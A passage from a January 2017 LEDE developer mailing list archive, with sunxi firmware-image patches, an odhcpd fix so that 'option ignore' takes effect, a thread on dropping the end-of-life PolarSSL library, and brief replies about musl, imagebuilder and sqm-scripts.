+			if [ -n "$diff" ]; then
+				echo "Partition layout is changed.  Full image will be written."
+				ask_bool 0 "Abort" && exit
+
+				get_image "$@" | dd of="/dev/$diskdev" bs=4096 conv=fsync
+				return 0
+			fi
+
+			#write uboot image
+			get_image "$@" | dd of="$diskdev" bs=1024 skip=8 seek=8 conv=notrunc
+			#iterate over each partition from the image and write it to the boot disk
+			while read part start size; do
+				part="$(($part - 2))"
+				if export_partdevice partdev $part; then
+					echo "Writing image to /dev/$partdev..."
+					get_image "$@" | dd of="/dev/$partdev" ibs="$ibs" obs=1M skip="$start" count="$size" conv=fsync
+				else
+					echo "Unable to find partition $part device, skipped."
+				fi
+			done < /tmp/partmap.image
+
+			#copy partition uuid
+			echo "Writing new UUID to /dev/$diskdev..."
+			get_image "$@" | dd of="/dev/$diskdev" bs=1 skip=440 count=4 seek=440 conv=fsync
+		else
+			get_image "$@" | dd of="/dev/$diskdev" bs=4096 conv=fsync
+		fi
+
+		sleep 1
+	fi
+}
diff --git a/target/linux/sunxi/config-4.4 b/target/linux/sunxi/config-4.4
index 816f44a..2253afa 100644
--- a/target/linux/sunxi/config-4.4
+++ b/target/linux/sunxi/config-4.4
@@ -162,6 +162,7 @@ CONFIG_F2FS_FS=y
 # CONFIG_F2FS_FS_SECURITY is not set
 CONFIG_F2FS_FS_XATTR=y
 CONFIG_F2FS_STAT_FS=y
+CONFIG_FAT_FS=y
 CONFIG_FB=y
 CONFIG_FB_CFB_COPYAREA=y
 CONFIG_FB_CFB_FILLRECT=y
@@ -347,6 +348,8 @@ CONFIG_NET_FLOW_LIMIT=y
 CONFIG_NET_PTP_CLASSIFY=y
 CONFIG_NET_VENDOR_ALLWINNER=y
 CONFIG_NLS=y
+CONFIG_NLS_CODEPAGE_437=y
+CONFIG_NLS_ISO8859_1=y
 CONFIG_NO_BOOTMEM=y
 CONFIG_NO_HZ=y
 CONFIG_NO_HZ_COMMON=y
@@ -526,6 +529,7 @@ CONFIG_USERIO=y
 CONFIG_USE_OF=y
 CONFIG_VDSO=y
 CONFIG_VECTORS_BASE=0xffff0000
+CONFIG_VFAT_FS=y
 CONFIG_VFP=y
 CONFIG_VFPv3=y
 CONFIG_VHOST=y
-- 
2.6.4



From yszhou4tech at gmail.com  Tue Jan  3 03:03:53 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Tue,  3 Jan 2017 19:03:53 +0800
Subject: [LEDE-DEV] [PATCH v3 4/5] sunxi: use fwtool for checking sdcard
	images
In-Reply-To: <1483441434-31009-1-git-send-email-yszhou4tech@gmail.com>
References: <1483441434-31009-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1483441434-31009-5-git-send-email-yszhou4tech@gmail.com>

To achieve this, device tree compatible string was used as boardname and
the value of it will be checked against supported_devices list.

It should be noted that we do not distinguish between
sun5i-a13-olimex-som and sun5i-a13-olinuxino as they share the same dts
file.

The other thing is that we need to gunzip the generated firmware to do
fwtool check.

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 .../linux/sunxi/base-files/etc/board.d/02_network  |   4 +-
 .../base-files/lib/preinit/01_preinit_sunxi.sh     |   9 --
 .../sunxi/base-files/lib/preinit/02_b53_hack.sh    |   2 +-
 target/linux/sunxi/base-files/lib/sunxi.sh         | 140 ---------------------
 target/linux/sunxi/image/Makefile                  |  17 ++-
 5 files changed, 19 insertions(+), 153 deletions(-)
 delete mode 100644 target/linux/sunxi/base-files/lib/preinit/01_preinit_sunxi.sh

diff --git a/target/linux/sunxi/base-files/etc/board.d/02_network b/target/linux/sunxi/base-files/etc/board.d/02_network
index 74fa2a0..2b18748 100755
--- a/target/linux/sunxi/base-files/etc/board.d/02_network
+++ b/target/linux/sunxi/base-files/etc/board.d/02_network
@@ -9,10 +9,10 @@
 board_config_update
 
 case "$( sunxi_board_name )" in
-"olinuxino-micro"*)
+"olimex,a20-olinuxino-micro")
 	ucidef_set_interface_lan 'wlan0'
 	;;
-"lamobo-r1")
+"lamobo,lamobo-r1")
 	ucidef_add_switch "switch0" \
 		"4:lan:1" "0:lan:2" "1:lan:3" "2:lan:4" "3:wan" "8 at eth0"
 	;;
diff --git a/target/linux/sunxi/base-files/lib/preinit/01_preinit_sunxi.sh b/target/linux/sunxi/base-files/lib/preinit/01_preinit_sunxi.sh
deleted file mode 100644
index f221dbc..0000000
--- a/target/linux/sunxi/base-files/lib/preinit/01_preinit_sunxi.sh
+++ /dev/null
@@ -1,9 +0,0 @@
-#!/bin/sh
-
-do_sunxi() {
-        . /lib/sunxi.sh
-
-        sunxi_board_detect
-}
-
-boot_hook_add preinit_main do_sunxi
diff --git a/target/linux/sunxi/base-files/lib/preinit/02_b53_hack.sh b/target/linux/sunxi/base-files/lib/preinit/02_b53_hack.sh
index 84070de..7f508ff 100644
--- a/target/linux/sunxi/base-files/lib/preinit/02_b53_hack.sh
+++ b/target/linux/sunxi/base-files/lib/preinit/02_b53_hack.sh
@@ -4,7 +4,7 @@
 do_b53_hack() {
 	# hack: enable switch on Lamobo R1 and reset counters
 	case "$( sunxi_board_name )" in
-	"lamobo-r1")
+	"lamobo,lamobo-r1")
 		ifconfig eth0 up
 		sleep 1
 		swconfig dev switch0 set reset 1
diff --git a/target/linux/sunxi/base-files/lib/sunxi.sh b/target/linux/sunxi/base-files/lib/sunxi.sh
index ce1292b..dbb27fe 100644
--- a/target/linux/sunxi/base-files/lib/sunxi.sh
+++ b/target/linux/sunxi/base-files/lib/sunxi.sh
@@ -1,145 +1,5 @@
 #!/bin/sh
 
-# defaults
-SUNXI_BOARD_NAME="generic"
-SUNXI_BOARD_MODEL="Generic sunxi board"
-
-sunxi_board_detect() {
-	local board
-	local model
-
-	[ -e "/tmp/sysinfo/" ] || mkdir -p "/tmp/sysinfo/"
-
-	model="$( cat /proc/device-tree/model )"
-
-	case "$model" in
-		"Mele A1000")
-			board="a1000"
-			;;
-
-		"BA10 tvbox")
-			board="ba10-tvbox"
-			;;
-
-		"Cubietech Cubieboard")
-			board="cubieboard"
-			;;
-
-		"Miniand Hackberry")
-			board="hackberry"
-			;;
-
-		"INet-97F Rev 02")
-			board="inet97fv2"
-			;;
-
-		"PineRiver Mini X-Plus")
-			board="mini-xplus"
-			;;
-
-		"Olimex A10-OLinuXino-LIME")
-			board="olinuxino-lime"
-			;;
-
-		"LinkSprite pcDuino")
-			board="pcduino"
-			;;
-
-		"Olimex A10s-Olinuxino Micro")
-			board="olinuxino-micro"
-			;;
-
-		"R7 A10s hdmi tv-stick")
-			board="r7-tv-dongle"
-			;;
-
-		"HSG H702")
-			board="hsg-h702"
-			;;
-
-		"Olimex A13-Olinuxino")
-			board="olinuxino"
-			;;
-
-		"Olimex A13-Olinuxino Micro")
-			board="olinuxino-micro"
-			;;
-
-		"Allwinner A31 APP4 EVB1 Evaluation Board")
-			board="app4-evb1"
-			;;
-
-		"WITS A31 Colombus Evaluation Board")
-			board="colombus"
-			;;
-
-		"Merrii A31 Hummingbird")
-			board="hummingbird"
-			;;
-
-		"Mele M9 / A1000G Quad top set box")
-			board="m9"
-			;;
-
-		"LeMaker Banana Pi")
-			board="bananapi"
-			;;
-
-		"LeMaker Banana Pro")
-			board="bananapro"
-			;;
-
-		"Cubietech Cubieboard2")
-			board="cubieboard2"
-			;;
-
-		"Cubietech Cubietruck")
-			board="cubietruck"
-			;;
-
-		"Merrii A20 Hummingbird")
-			board="hummingbird"
-			;;
-
-		"I12 / Q5 / QT840A A20 tvbox")
-			board="i12-tvbox"
-			;;
-
-		"Lamobo R1")
-			board="lamobo-r1"
-			;;
-
-		"Olimex A20-OLinuXino-LIME")
-			board="olinuxino-lime"
-			;;
-
-		"Olimex A20-Olinuxino Micro")
-			board="olinuxino-a20-micro"
-			;;
-
-		"LinkSprite pcDuino3")
-			board="pcduino3"
-			;;
-
-		"Ippo Q8H Dual Core Tablet (v5)")
-			board="ippo-q8h-v5"
-			;;
-	esac
-
-	if [ "$board" != "" ]; then
-		SUNXI_BOARD_NAME="$board"
-	fi
-
-	if [ "$model" != "" ]; then
-		SUNXI_BOARD_MODEL="$model"
-	fi
-
-
-	echo "$SUNXI_BOARD_NAME" > /tmp/sysinfo/board_name
-	echo "$SUNXI_BOARD_MODEL" > /tmp/sysinfo/model
-	echo "Detected $SUNXI_BOARD_NAME // $SUNXI_BOARD_MODEL"
-}
-
 sunxi_board_name() {
 	local name
 
diff --git a/target/linux/sunxi/image/Makefile b/target/linux/sunxi/image/Makefile
index 07beb03..bc696cf 100644
--- a/target/linux/sunxi/image/Makefile
+++ b/target/linux/sunxi/image/Makefile
@@ -37,12 +37,13 @@ define Device/Default
   KERNEL_NAME := zImage
   KERNEL := kernel-bin | uImage none
   IMAGES := sdcard.img.gz
-  IMAGE/sdcard.img.gz := sunxi-sdcard | gzip
+  IMAGE/sdcard.img.gz := sunxi-sdcard | append-metadata | gzip
 endef
 
 define Device/sun4i-a10-olinuxino-lime
   DEVICE_TITLE:=Olimex A10-OLinuXino-LIME
   DEVICE_PACKAGES:=uboot-sunxi-A10-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUPPORTED_DEVICES:=olimex,a10-olinuxino-lime
   SUNXI_DTS:=sun4i-a10-olinuxino-lime
   SUNXI_UBOOT:=A10-OLinuXino-Lime
 endef
@@ -53,6 +54,7 @@ TARGET_DEVICES += sun4i-a10-olinuxino-lime
 define Device/sun5i-a13-olimex-som
   DEVICE_TITLE:=Olimex A13 SOM
   DEVICE_PACKAGES:=uboot-sunxi-OLIMEX_A13_SOM kmod-rtl8192cu
+  SUPPORTED_DEVICES:=olimex,a13-olinuxino
   SUNXI_DTS:=sun5i-a13-olinuxino
   SUNXI_UBOOT:=OLIMEX_A13_SOM
 endef
@@ -63,6 +65,7 @@ TARGET_DEVICES += sun5i-a13-olimex-som
 define Device/sun5i-a13-olinuxino
   DEVICE_TITLE:=Olimex A13-Olinuxino
   DEVICE_PACKAGES:=uboot-sunxi-A13-OLinuXino kmod-rtl8192cu
+  SUPPORTED_DEVICES:=olimex,a13-olinuxino
   SUNXI_DTS:=sun5i-a13-olinuxino
   SUNXI_UBOOT:=A13-OLinuXino
 endef
@@ -73,6 +76,7 @@ TARGET_DEVICES += sun5i-a13-olinuxino
 define Device/sun7i-a20-olinuxino-lime
   DEVICE_TITLE:=Olimex A20-OLinuXino-LIME
   DEVICE_PACKAGES:=uboot-sunxi-A20-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi kmod-rtc-sunxi
+  SUPPORTED_DEVICES:=olimex,a20-olinuxino-lime
   SUNXI_DTS:=sun7i-a20-olinuxino-lime
   SUNXI_UBOOT:=A20-OLinuXino-Lime
 endef
@@ -83,6 +87,7 @@ TARGET_DEVICES += sun7i-a20-olinuxino-lime
 define Device/sun7i-a20-olinuxino-micro
   DEVICE_TITLE:=Olimex A20-Olinuxino Micro
   DEVICE_PACKAGES:=uboot-sunxi-A20-OLinuXino_MICRO kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUPPORTED_DEVICES:=olimex,a20-olinuxino-micro
   SUNXI_DTS:=sun7i-a20-olinuxino-micro
   SUNXI_UBOOT:=A20-OLinuXino_MICRO
 endef
@@ -93,6 +98,7 @@ TARGET_DEVICES += sun7i-a20-olinuxino-micro
 define Device/sun7i-a20-bananapi
   DEVICE_TITLE:=LeMaker Banana Pi
   DEVICE_PACKAGES:=uboot-sunxi-Bananapi kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi
+  SUPPORTED_DEVICES:=lemaker,bananapi
   SUNXI_DTS:=sun7i-a20-bananapi
   SUNXI_UBOOT:=Bananapi
 endef
@@ -103,6 +109,7 @@ TARGET_DEVICES += sun7i-a20-bananapi
 define Device/sun7i-a20-bananapro
   DEVICE_TITLE:=LeMaker Banana Pro
   DEVICE_PACKAGES:=uboot-sunxi-Bananapro kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi kmod-brcmfmac
+  SUPPORTED_DEVICES:=lemaker,bananapro
   SUNXI_DTS:=sun7i-a20-bananapro
   SUNXI_UBOOT:=Bananapro
 endef
@@ -113,6 +120,7 @@ TARGET_DEVICES += sun7i-a20-bananapro
 define Device/sun7i-a20-cubieboard2
   DEVICE_TITLE:=Cubietech Cubieboard2
   DEVICE_PACKAGES:=uboot-sunxi-Cubieboard2 kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUPPORTED_DEVICES:=cubietech,cubieboard2
   SUNXI_DTS:=sun7i-a20-cubieboard2
   SUNXI_UBOOT:=Cubieboard2
 endef
@@ -123,6 +131,7 @@ TARGET_DEVICES += sun7i-a20-cubieboard2
 define Device/sun4i-a10-cubieboard
   DEVICE_TITLE:=Cubietech Cubieboard
   DEVICE_PACKAGES:=uboot-sunxi-Cubieboard kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUPPORTED_DEVICES:=cubietech,a10-cubieboard
   SUNXI_DTS:=sun4i-a10-cubieboard
   SUNXI_UBOOT:=Cubieboard
 endef
@@ -133,6 +142,7 @@ TARGET_DEVICES += sun4i-a10-cubieboard
 define Device/sun7i-a20-cubietruck
   DEVICE_TITLE:=Cubietech Cubietruck
   DEVICE_PACKAGES:=uboot-sunxi-Cubietruck kmod-ata-core kmod-ata-sunxi kmod-rtc-sunxi kmod-brcmfmac
+  SUPPORTED_DEVICES:=cubietech,cubietruck
   SUNXI_DTS:=sun7i-a20-cubietruck
   SUNXI_UBOOT:=Cubietruck
 endef
@@ -143,6 +153,7 @@ TARGET_DEVICES += sun7i-a20-cubietruck
 define Device/sun7i-a20-lamobo-r1
   DEVICE_TITLE:=Lamobo R1
   DEVICE_PACKAGES:=uboot-sunxi-Lamobo_R1 kmod-ata-sunxi kmod-rtl8192cu swconfig wpad-mini
+  SUPPORTED_DEVICES:=lamobo,lamobo-r1
   SUNXI_DTS:=sun7i-a20-lamobo-r1
   SUNXI_UBOOT:=Lamobo_R1
 endef
@@ -153,6 +164,7 @@ TARGET_DEVICES += sun7i-a20-lamobo-r1
 define Device/sun6i-a31-m9
   DEVICE_TITLE:=Mele M9 top set box
   DEVICE_PACKAGES:=uboot-sunxi-Mele_M9 kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
+  SUPPORTED_DEVICES:=mele,m9
   SUNXI_DTS:=sun6i-a31-m9
   SUNXI_UBOOT:=Mele_M9
 endef
@@ -163,6 +175,7 @@ TARGET_DEVICES += sun6i-a31-m9
 define Device/sun8i-h3-orangepi-plus
   DEVICE_TITLE:=Xunlong Orange Pi Plus
   DEVICE_PACKAGES:=kmod-rtc-sunxi uboot-sunxi-orangepi_plus
+  SUPPORTED_DEVICES:=xunlong,orangepi-plus
   SUNXI_DTS:=sun8i-h3-orangepi-plus
   SUNXI_UBOOT:=orangepi_plus
 endef
@@ -173,6 +186,7 @@ TARGET_DEVICES += sun8i-h3-orangepi-plus
 define Device/sun7i-a20-pcduino3
   DEVICE_TITLE:=LinkSprite pcDuino3
   DEVICE_PACKAGES:=uboot-sunxi-Linksprite_pcDuino3 kmod-sun4i-emac kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi kmod-rtl8xxxu rtl8188eu-firmware
+  SUPPORTED_DEVICES:=linksprite,pcduino3
   SUNXI_DTS:=sun7i-a20-pcduino3
   SUNXI_UBOOT:=Linksprite_pcDuino3
 endef
@@ -183,6 +197,7 @@ TARGET_DEVICES += sun7i-a20-pcduino3
 define Device/sun4i-a10-pcduino
   DEVICE_TITLE:=LinkSprite pcDuino
   DEVICE_PACKAGES:=uboot-sunxi-Linksprite_pcDuino kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
+  SUPPORTED_DEVICES:=linksprite,a10-pcduino
   SUNXI_DTS:=sun4i-a10-pcduino
   SUNXI_UBOOT:=Linksprite_pcDuino
 endef
-- 
2.6.4



From alberto.bursi at outlook.it  Tue Jan  3 03:40:02 2017
From: alberto.bursi at outlook.it (Alberto Bursi)
Date: Tue, 3 Jan 2017 11:40:02 +0000
Subject: [LEDE-DEV] sqm-scripts change GitHub link to https:// instead
 of git://
In-Reply-To: <CADRmKOja082oKxCRhai6J4rg=2kwC7vvKFpoAas05LA5F3wggg@mail.gmail.com>
References: <CADRmKOja082oKxCRhai6J4rg=2kwC7vvKFpoAas05LA5F3wggg@mail.gmail.com>
Message-ID: <AM3PR08MB0642BB2AAC7781B81272CF63926E0@AM3PR08MB0642.eurprd08.prod.outlook.com>



On 01/03/2017 02:02 AM, Nick Kamenyitzky wrote:
> Is there any reason that the sqm-scripts makefile has a git:// link
> instead of a https:// link?  At my office git:// doesn't work but
> https:// does.
>
> Should this be something that is standardised or considered?
>
>
>
> Kind Regards,
>
> Nick Kamenyitzky
>
> -------------------------------------------------------------------------
> Email: nick at kamenyitzky.com.au
> -------------------------------------------------------------------------
>

issue fixed in the package repo
https://github.com/openwrt/packages/pull/3741

-Alberto


From alberto.bursi at outlook.it  Tue Jan  3 03:46:21 2017
From: alberto.bursi at outlook.it (Alberto Bursi)
Date: Tue, 3 Jan 2017 11:46:21 +0000
Subject: [LEDE-DEV] brcm47xx legacy image building issues
In-Reply-To: <86a8b84jzn.fsf@srvbsdfenssv.interne.associated-bears.org>
References: <o4dsrd$v3r$1@blaine.gmane.org>
 <13978dc7-448f-08f7-2dd9-583e9a062df0@gmail.com>
 <86a8b84jzn.fsf@srvbsdfenssv.interne.associated-bears.org>
Message-ID: <AM3PR08MB06423304DE041A00B3A78920926E0@AM3PR08MB0642.eurprd08.prod.outlook.com>



On 01/03/2017 09:37 AM, Eric Masson wrote:
> Rafa? Mi?ecki <zajec5 at gmail.com> writes:
>
> Hi Rafal,
>
>> I just downloaded and extracted
>> https://downloads.lede-project.org/snapshots/targets/brcm47xx/legacy/lede-imagebuilder-brcm47xx-legacy.Linux-x86_64.tar.xz
>>
>> I entered lede-imagebuilder-brcm47xx-legacy.Linux-x86_64 and executed your command. It worked fine.
>>
>> I see 3 options:
>> 1) Something got fixed in "Tue Jan 3 06:46:26 2017"
>> 2) You are doing something extra you didn't describe
>> 3) There is some issue specific to your host
>
> Probably 1 as everything went fine with today's imagebuilder "Tue Jan 3
> 06:46:26 2017".
>
> At least both previous brcm47xx imagebuilder were causing the reported
> issue.
>
> Thanks a lot for your help.
>
> Regards
>
> ?ric Masson
>

A possible explanation is that you issued the command while the 
buildbots on the build server were still building some packages for your 
target, so the imagebuilder could not find them in the repo.

Also in forums people report similar "mysterious" issues about 
installing packages that disappear after less than a day.

-Alberto

From koen.vandeputte at ncentric.com  Tue Jan  3 03:58:05 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Tue, 3 Jan 2017 12:58:05 +0100
Subject: [LEDE-DEV] [PATCH] musl: update musl to 1.1.16 and switch to
 download from git
In-Reply-To: <a8880d29-54ec-4df5-85b5-a12340f47799@iki.fi>
References: <20170102222257.19563-1-chunkeey@googlemail.com>
 <a8880d29-54ec-4df5-85b5-a12340f47799@iki.fi>
Message-ID: <2e126b3a-1c5d-91d7-f1d9-1f43af281451@ncentric.com>



On 2017-01-03 10:25, Hannu Nyman wrote:
> On 3.1.2017 0:22, Christian Lamparter wrote:
>> This patch updates musl to 1.1.16 [0] and removes all the
>> backported patches.
>> ...
>>   delete mode 100644 
>> toolchain/musl/patches/099-Add-format-attribute-to-some-function-declarations.patch
>>
>
> Like I commened on the Github PR 660 about the same version bump, I 
> think that the file 
> 099-Add-format-attribute-to-some-function-declarations.patch is not 
> from musl upstream and should likely not be deleted.
>
> Afaik that is an Openwrt/LEDE specific patch from Hauke instead of 
> being a backported genuine upstream patch (although its name starts 
> with 0). It was recently renamed from 040-xxx ot 099-xxx, but the file 
> originates at 
> https://github.com/lede-project/source/commit/be5fcf9fd76a30c8a28a17daf9c3ddcc9c3af0ba 
> and I think that it should survive the version bump, or at least its 
> removal should be evaluated separately as it has nothing to do with 
> 1.1.16
>
Good catch.
I agree.

I renamed the patch to 099- to keep the changes at a minimum during 
backporting
, but to be perfect it should be renamed again out of the 0xx series to 
avoid any further confusion. (or submitted upstream if applicable?)

Koen

> https://github.com/lede-project/source/pull/660
>
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev

-- 
Koen Vandeputte - Software Developer
koen.vandeputte at ncentric.com | +32499736158



From jo at mein.io  Tue Jan  3 04:22:54 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Tue, 3 Jan 2017 13:22:54 +0100
Subject: [LEDE-DEV] Fading out PolarSSL
Message-ID: <2e242fd7-aa1f-7ebf-2aad-f139771548f1@mein.io>

Hi list,

the mbed TLS project (formerly known as PolarSSL) declared the mbedTLS
1.3 branch (packaged as "libpolarssl" by LEDE) to be EOL with the end of
the year 2016. [1]

In order to avoid shipping an outdated and possibly vulnerable SSL
library with the first LEDE release we begun migrating core package
dependencies and default library choices to the "mbedtls" package which
includes the most recent 2.4.0 release of mbedTLS.

There has been an ongoing discussion in IRC on how to handle the
remaining users of the legacy PolarSSL package and whether to ship this
library with the initial release and remove it later or whether to drop
it now in order to catch potential fallout early.

Since we didn't want to single-handedly decide this issue in IRC I took
the topic to the list now to facilitate wider feedback.

Right now there are more or less two approaches proposed:

a) Keep libpolarssl available for the initial 17.01.0 release and drop
   it with the first maintenance release 17.01.1 about 6-8 weeks later

b) Drop libpolarssl now, even before branching and urge the feed package
   maintainers to migrate users of libpolarssl to the libmbedtls variant

Currently known remaining users of polarssl are:

 * bmx7
 * pianod
 * shadowsocks-libev-polarssl
 * shairport-sync-mini
 * shairport-sync-polarssl
 * transmission-cli-polarssl
 * transmission-daemon-polarssl
 * transmission-remote-polarssl
 * umurmur-polarssl


Please provide feedback on which approach you'd prefer and if you'd be
affected by the PolarSSL deprecation or not.

Regards,
Jo


1: https://tls.mbed.org/tech-updates/releases/mbedtls-2.0.0-released


From toke at toke.dk  Tue Jan  3 04:38:12 2017
From: toke at toke.dk (=?utf-8?Q?Toke_H=C3=B8iland-J=C3=B8rgensen?=)
Date: Tue, 03 Jan 2017 13:38:12 +0100
Subject: [LEDE-DEV] Fading out PolarSSL
In-Reply-To: <2e242fd7-aa1f-7ebf-2aad-f139771548f1@mein.io> (Jo-Philipp Wich's
 message of "Tue, 3 Jan 2017 13:22:54 +0100")
References: <2e242fd7-aa1f-7ebf-2aad-f139771548f1@mein.io>
Message-ID: <871swk1fpn.fsf@toke.dk>

Jo-Philipp Wich <jo at mein.io> writes:

> Hi list,
>
> the mbed TLS project (formerly known as PolarSSL) declared the mbedTLS
> 1.3 branch (packaged as "libpolarssl" by LEDE) to be EOL with the end of
> the year 2016. [1]
>
> In order to avoid shipping an outdated and possibly vulnerable SSL
> library with the first LEDE release we begun migrating core package
> dependencies and default library choices to the "mbedtls" package which
> includes the most recent 2.4.0 release of mbedTLS.
>
> There has been an ongoing discussion in IRC on how to handle the
> remaining users of the legacy PolarSSL package and whether to ship this
> library with the initial release and remove it later or whether to drop
> it now in order to catch potential fallout early.
>
> Since we didn't want to single-handedly decide this issue in IRC I took
> the topic to the list now to facilitate wider feedback.
>
> Right now there are more or less two approaches proposed:
>
> a) Keep libpolarssl available for the initial 17.01.0 release and drop
>    it with the first maintenance release 17.01.1 about 6-8 weeks later
>
> b) Drop libpolarssl now, even before branching and urge the feed package
>    maintainers to migrate users of libpolarssl to the libmbedtls
>    variant

I'd say drop it immediately unless there is a pressing reason not to
(i.e., an important package that can't be ported). Far better to deal
with the fallout during an RC phase than have a possible regression on a
point release six weeks from now. And we won't be doing anyone any
favours by shipping a known obsolete SSL library in the first release.

Dropping it also makes sure that we get a chance to weed out all
packages that are still inadvertently built against the old version
(libcurl depends on libpolarssl on my install from last night's nightly
build, for instance).

-Toke


From daniel.engberg.lists at pyret.net  Tue Jan  3 04:49:11 2017
From: daniel.engberg.lists at pyret.net (Daniel Engberg)
Date: Tue, 03 Jan 2017 13:49:11 +0100
Subject: [LEDE-DEV] Fading out PolarSSL
Message-ID: <8a41e9180409dfc11b3b903504b92cd3@pyret.net>

Hi,

I'm in favor of dropping it, don't see anything good in keeping outdated 
and unsupported libraries.

As far as package status goes...

shadowsocks-libev --> https://github.com/openwrt/packages/pull/3729 + 
https://github.com/lede-project/source/pull/657
pianod + shairport-sync* --> 
https://github.com/openwrt/packages/issues/3733
transmission* --> https://github.com/openwrt/packages/issues/3731
umurmur --> doesn't compile, pr submitted upstream

Best regards,
Daniel


From nbd at nbd.name  Tue Jan  3 04:51:46 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Tue, 3 Jan 2017 13:51:46 +0100
Subject: [LEDE-DEV] [PATCH v3 5/5] sunxi: define a Default profile
In-Reply-To: <1483441434-31009-6-git-send-email-yszhou4tech@gmail.com>
References: <1483441434-31009-1-git-send-email-yszhou4tech@gmail.com>
 <1483441434-31009-6-git-send-email-yszhou4tech@gmail.com>
Message-ID: <f66f182f-c037-365a-9ab1-d3259f4c77d5@nbd.name>

On 2017-01-03 12:03, Yousong Zhou wrote:
> To achieve this, we remove the uboot-sunxi package and build it on our
> own so that we do not need to enumerate every uboot variants in the
> package set of the default profile.
> 
> Then the default package set was generated by sort | uniq all current
> available device packages and the result set seems tamable
> 
> It is also worth noting that these uboot variants will not be built in a
> parallelized way because we use $(_SINGLE)$(SUBMAKE) at the moment
> 
> Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
How about leaving the uboot package where it is and define a
meta-package in the makefile that selects all variants?

- Felix


From jo at mein.io  Tue Jan  3 05:09:08 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Tue,  3 Jan 2017 14:09:08 +0100
Subject: [LEDE-DEV] [RFC PATCH odhcpd] config: respect ignore uci option
Message-ID: <20170103130908.16868-1-jo@mein.io>

The odhcpd documentation currently implies that "option ignore 1" in a section
of type "dhcp" will disable any services on the referenced interface while the
code actually ignores the setting when initializing referenced interfaces.

This commonly leads to situations where users think that "option disabled"
will prevent any server activity on a given interface while in reality odhcpd
effectively acts as rogue DHCPv6 server in its default configuration.

To fully inhibit any activity, one has to specify both "option ignore 1" as
well as "option ra disabled", "option ndp disabled" and
"option dhcpv6 disabled" which is highly counter intuitive at best.

A previous commit (5f425ed Respect interface "ignore" settings as documented.)
attempted to address the problem by observing the value of i->ignore instead
of unconditionally enabling all protocols but broke the ability to use DHCPv6
relay mode while having DHCPv4 disabled.

This patch changes ...

 - the enabling of services on an interface to use the value of the ignore
   option as default choice instead of hardcoding "true"

 - the options "ra", "ndp", "dhcpv4" and "dhcpv6" to take precedence over the
   default "ignore" state to allow selectively enabling services on ignored
   interfaces

 - the README to clarify the fact that "ra", "ndp", "dhcpv4" and "dhcpv6" can
   now override "option ignore"

Signed-off-by: Jo-Philipp Wich <jo at mein.io>
---
 README       | 4 +++-
 src/config.c | 8 ++++----
 2 files changed, 7 insertions(+), 5 deletions(-)

diff --git a/README b/README
index e14f822..4ae5ef2 100644
--- a/README
+++ b/README
@@ -70,7 +70,9 @@ Option		Type	Default			Description
 interface	string	<name of UCI section>	logical OpenWrt interface
 ifname		string	<resolved from logical>	physical network interface
 networkid	string	same as ifname		compat. alias for ifname
-ignore		bool	0			ignore this interface
+ignore		bool	0			do not serve this interface
+						unless overridden by ra, ndp,
+						dhcpv4 or dhcpv6 options
 master		bool	0			is a master interface
 						for relaying
 
diff --git a/src/config.c b/src/config.c
index e3bf78a..ba51375 100644
--- a/src/config.c
+++ b/src/config.c
@@ -721,10 +721,10 @@ void odhcpd_reload(void)
 				i->ndp = (master && master->ndp == RELAYD_RELAY) ?
 						RELAYD_RELAY : RELAYD_DISABLED;
 
-			setup_router_interface(i, true);
-			setup_dhcpv6_interface(i, true);
-			setup_ndp_interface(i, true);
-			setup_dhcpv4_interface(i, true);
+			setup_router_interface(i, !i->ignore || i->ra != RELAYD_DISABLED);
+			setup_dhcpv6_interface(i, !i->ignore || i->dhcpv6 != RELAYD_DISABLED);
+			setup_ndp_interface(i, !i->ignore || i->ndp != RELAYD_DISABLED);
+			setup_dhcpv4_interface(i, !i->ignore || i->dhcpv4 != RELAYD_DISABLED);
 		} else {
 			close_interface(i);
 		}
-- 
2.9.3



From hannu.nyman at iki.fi  Tue Jan  3 05:17:03 2017
From: hannu.nyman at iki.fi (Hannu Nyman)
Date: Tue, 3 Jan 2017 15:17:03 +0200
Subject: [LEDE-DEV] Fading out PolarSSL
In-Reply-To: <2e242fd7-aa1f-7ebf-2aad-f139771548f1@mein.io>
References: <2e242fd7-aa1f-7ebf-2aad-f139771548f1@mein.io>
Message-ID: <591c08fc-94c8-bada-081a-a0f3b2a43f07@iki.fi>

On 3.1.2017 14:22, Jo-Philipp Wich wrote:
> Right now there are more or less two approaches proposed:
>
> a) Keep libpolarssl available for the initial 17.01.0 release and drop
>     it with the first maintenance release 17.01.1 about 6-8 weeks later
>
> b) Drop libpolarssl now, even before branching and urge the feed package
>     maintainers to migrate users of libpolarssl to the libmbedtls variant

I am rather indifferent on the timing of the total removal of polarssl, but 
like I wrote in the PR 655 discussion, elimination of the libpolarssl usage 
in the "core LEDE" could be done immediately (curl/libcurl, px5g, 
libustream-polarssl). That would prevent libpolarssl being included in builds 
by default.

Jow already has the curl change (PR 653) in his staging repo, and Daniel's PR 
655 contains the needed bits for px5g + libustream-polarssl.

Hannu



From zajec5 at gmail.com  Tue Jan  3 06:54:57 2017
From: zajec5 at gmail.com (=?UTF-8?q?Rafa=C5=82=20Mi=C5=82ecki?=)
Date: Tue,  3 Jan 2017 15:54:57 +0100
Subject: [LEDE-DEV] [PATCH luci] luci-mod-admin-full: allow unset txpower
	value
